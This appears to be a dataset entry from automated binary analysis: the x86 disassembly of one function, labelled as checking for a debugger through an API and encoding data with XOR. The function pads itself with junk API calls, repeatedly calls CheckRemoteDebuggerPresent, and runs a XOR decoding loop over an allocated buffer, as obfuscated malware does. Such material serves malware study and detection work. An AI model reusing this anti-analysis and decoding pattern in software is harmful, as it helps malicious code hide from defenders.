Function at 0x40b477
Capabilities:
Check for debugger via api
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ole32.dll_CoDecodeProxy]
push esi
push edi
push 0
push 0xffffffffffffffee
push 0x7db95c7
push 0xc63fc699
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
call ebx
mov edi, dword [sym.imp.USER32.dll_DestroyWindow]
xor esi, esi
push esi
call edi
push esi
call edi
push esi
push 0xfffffffffffffffc
push 0x61ff5738
push 0x795ea04c
call ebx
push esi
push 0xffffffffffffffef
push 0x501c643c
push 0x935c4a99
call ebx
push esi
push 2
push 0x653ece2e
push 0x67325365
call ebx
push esi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call esi
push 0
push 0
call esi
mov esi, dword [sym.imp.GDI32.dll_GetObjectW]
push 0
push 0xafc27689
push 0
call esi
push 0
push 0xc5c51ffd
push 0
call esi
push 0
push 0xcba36648
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call edi
push 0
push 0xf5ea6044
push 0
call esi
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call edi
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xb488131a
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 1
push 0x938096fd
push 0xf085cc09
call ebx
push 0
push 0xf59f5535
push 0
call esi
push 0
call edi
push 0
push 0x89741d2f
push 0
call esi
push 0
push 0xa02c5db6
push 0
call esi
push 0
push 0x7829933e
push 0
call esi
push 0
push 0x7fd52831
push 0
call esi
push 0
call edi
push 0
call edi
push 0
push 0x4c51fef
push 0
call esi
push 0
push 0x81ad878b
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xe308787d
push 0
call esi
mov eax, dword [ebp + 8]
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
push 0x95700eaa
push 0
mov dword [ebp - 8], eax
call esi
push 0
call edi
push 0
push 0x8350d5e6
push 0
call esi
push 0
push 4
push 0x2a38be12
push 0x9d99d9e3
call ebx
push 0
push 0x82aa99ba
push 0
call esi
push 0
push 0xf0520289
push 0
call esi
push 0
push 0x3877854e
push 0
call esi
push 0
push 0xde799d02
push 0
call esi
push 0
push 0xbd195765
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xf
push 0x1caae108
push 0x30027a0c
call ebx
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x11234c5
push 0
call esi
push 0
push 0xb363aa9
push 0
call esi
push 0
push 0xb
push 0xd525bea6
push 0x66abcd34
call ebx
push 0
push 0x3ffc7e41
push 0
call esi
push 0
push 0x4d29e679
push 0
call esi
push 0
push 7
push 0x85fce728
push 0x6291fde5
call ebx
push 0
push 0xa6d80cd4
push 0
call esi
push 0
call edi
push 0
push 5
push 0x17a5b7d4
push 0xd21a37d7
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xcd52fbe5
push 0
call esi
push 0
push 0x56b9a2e0
push 0
call esi
push 0
push 0x12aeed5
push 0
call esi
push 0
push 0xf823da5
push 0
call esi
push 0
push 0xc100bc8d
push 0
call esi
push 0
push 3
push 0x2ebfe306
push 0x48e2bcd6
call ebx
push 0
push 0x280121d2
push 0
call esi
push 0
call edi
push 0
call edi
push 0
push 0xc
push 0x116b9c67
push 0x16a1dba0
call ebx
push 0
push 0xdac819bf
push 0
call esi
push 0
push 0xbc95cf4d
push 0
call esi
push 0
call edi
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp + 8]
push edx
push 0x560c6272
push edx
mov byte [eax + ecx], dl
call esi
push 0
push 0xe9de199b
push 0
call esi
push 0
push 0xeb457542
push 0
call esi
push 0
call edi
push 0
push 1
push 0xb0724bc7
push 0xaa199793
call ebx
push 0
push 0x10
push 0xa1926761
push 0x4f485b6a
call ebx
push 0
push 0xfffffffffffffff1
push 0x6f6b218
push 0x278b62ac
call ebx
push 0
push 0xfffffffffffffffc
push 0xa2ea7e17
push 0xffff3d03
call ebx
push 0
call edi
push 0
call edi
push 0
call edi
push 0
push 0x804870b5
push 0
call esi
push 0
push 0
push 0xc9c162ba
push 0x7b17d91
call ebx
push 0
push 0x4b1f99ed
push 0
call esi
push 0
push 0xa6d370a4
push 0
call esi
push 0
push 8
push 0x219b0f27
push 0x1bdb1039
call ebx
push 0
push 0x858b0029
push 0
call esi
push 0
push 0x7995424a
push 0
call esi
push 0
call edi
push 0
push 0xfffffffffffffff4
push 0xfbedb421
push 0xca97d9cd
call ebx
push 0
push 2
push 0xc34c0a4c
push 0xc630eda4
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xbb1e0fb9
push 0
call esi
push 0
push 0xa10764e
push 0
call esi
push 0
push 6
push 0xf059d7c
push 0xd54b16de
call ebx
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x63de4a0c
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x6205d05c
push 0
call esi
push 0
push 0x973ae7d7
push 0
call esi
push 0
call edi
push 0
push 0x8821bd12
push 0
call esi
push 0
push 0x3d6b0182
push 0
call esi
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jbe 0x40bc49
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push 0
push 0x2cc9a09e
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xfffffffffffffffd
push 0xaf0c894b
push 0xb2183cc8
call ebx
push 0
call edi
push 0
call edi
push 0
call edi
push 0
push 0x25220380
push 0
call esi
push 0
push 0xfffffffffffffff6
push 0xef88db35
push 0xdc144478
call ebx
push 0
push 0x6e8ee39d
push 0
call esi
push 0
push 0x10
push 0x97a86508
push 0x3a2ed413
call ebx
push 0
push 0xc2f6ea5f
push 0
call esi
push 0
push 0xffffffffffffffeb
push 0x42cf4bae
push 0xd64f3be1
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xfc3e5009
push 0
call esi
push 0
push 0x4373dd38
push 0
call esi
push 0
push 0xbec2c6d9
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xd158b1b9
push 0
call esi
push 0
push 0xeb74e0cc
push 0
call esi
push 0
push 0x6d4a4abc
push 0
call esi
push 0
push 0x6d7d1d1f
push 0
call esi
push 0
call edi
push 0
push 0x9925eeff
push 0
call esi
push 0
call edi
push 0
push 0x959392cf
push 0
call esi
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xf
push 0x2d815873
push 0x42ab291d
call ebx
push 0
push 0xb
push 0x99eb3b1c
push 0x4f3be002
call ebx
push 0
push 0xb7f52045
push 0
call esi
push 0
push 0x4eb28a8c
push 0
call esi
push 0
push 0x9032aa8a
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
xor edx, edx
mov eax, dword [ebp - 4]
div ecx
mov eax, dword [ebp - 0x10]
push 0
push 0x24c3cfdd
push 0
mov cl, byte [edx + eax]
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov al, byte [eax + edx]
xor al, cl
mov byte [edx], al
call esi
push 0
push 0x45160574
push 0
call esi
push 0
push 0xdb84f83
push 0
call esi
push 0
push 0xb0174b87
push 0
call esi
push 0
push 0xfffffffffffffffb
push 0x93016628
push 0x46ea1e9f
call ebx
push 0
push 0x82e1430c
push 0
call esi
push 0
push 0x3b845d7f
push 0
call esi
push 0
push 4
push 0xf28372ce
push 0xdb4286d7
call ebx
push 0
push 7
push 0xed0a9252
push 0x469f6327
call ebx
push 0
push 0x8ed9b15b
push 0
call esi
push 0
push 0xffffffffffffffee
push 0x135716fd
push 0x35fd781d
call ebx
push 0
call edi
push 0
push 0x5a8a076b
push 0
call esi
push 0
push 0xd0f404b4
push 0
call esi
push 0
push 0x1f835f14
push 0
call esi
push 0
push 0x2166acbf
push 0
call esi
push 0
push 0xb271d836
push 0
call esi
push 0
push 0x5ea456cc
push 0
call esi
push 0
push 9
push 0x7108c3ff
push 0x82f95398
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x459a9624
push 0
call esi
push 0
call edi
push 0
call edi
push 0
call edi
push 0
push 0xde0f21a4
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call edi
push 0
push 0xfffffffffffffff2
push 0x5928ecb8
push 0x2a34d0d6
call ebx
push 0
call edi
push 0
call edi
push 0
push 0x95dc63d8
push 0
call esi
push 0
push 0xfffffffffffffffb
push 0xcb18723b
push 0x11f7007d
call ebx
push 0
push 0xa37a0605
push 0
call esi
push 0
push 0x96cab7e3
push 0
call esi
push 0
push 0x9240f407
push 0
call esi
push 0
push 0xaac07619
push 0
call esi
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebp + 8]
jb 0x40b91d
push 0
push 0xa484c30a
push 0
call esi
push 0
push 0xf84b5613
push 0
call esi
push 0
push 0xffffffffffffffe8
push 0xcb445000
push 0x955ff8a4
call ebx
push 0
push 0x5640f75b
push 0
call esi
push 0
call edi
push 0
push 0xe026b905
push 0
call esi
push 0
push 0xa899f94a
push 0
call esi
push 0
push 0xee641fe5
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0xc25ba93d
push 0
call esi
push 0
push 0x11
push 0x6b048d5
push 0xa4e2fcce
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
call edi
push 0
call edi
push 0
call edi
push 0
push 0x28bba3bb
push 0
call esi
push 0
push 0x13
push 0x40c823c0
push 0x3e056406
call ebx
push 0
push 0x3a2863d1
push 0
call esi
push 0
push 0x68255ac4
push 0
call esi
push 0
call edi
push 0
push 0x337cbc4f
push 0
call esi
push 0
push 0xfffffffffffffff1
push 0x6d199322
push 0x844582c9
call ebx
xor ebx, ebx
push ebx
call edi
push ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call ebx
push 0
call edi
push 0
push 0xdd14cd40
push 0
call esi
push 0
push 0x8916346a
push 0
call esi
push 0
call edi
push 0
push 0x51c8506a
push 0
call esi
push 0
call edi
push 0
push 0
call ebx
xor ebx, ebx
push ebx
push 0xba255c0d
push ebx
call esi
push ebx
push 0x1d20eca0
push ebx
call esi
push ebx
push 0x7421cff5
push ebx
call esi
push ebx
push 0x87532298
push ebx
call esi
push ebx
push 0x3689c307
push ebx
call esi
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret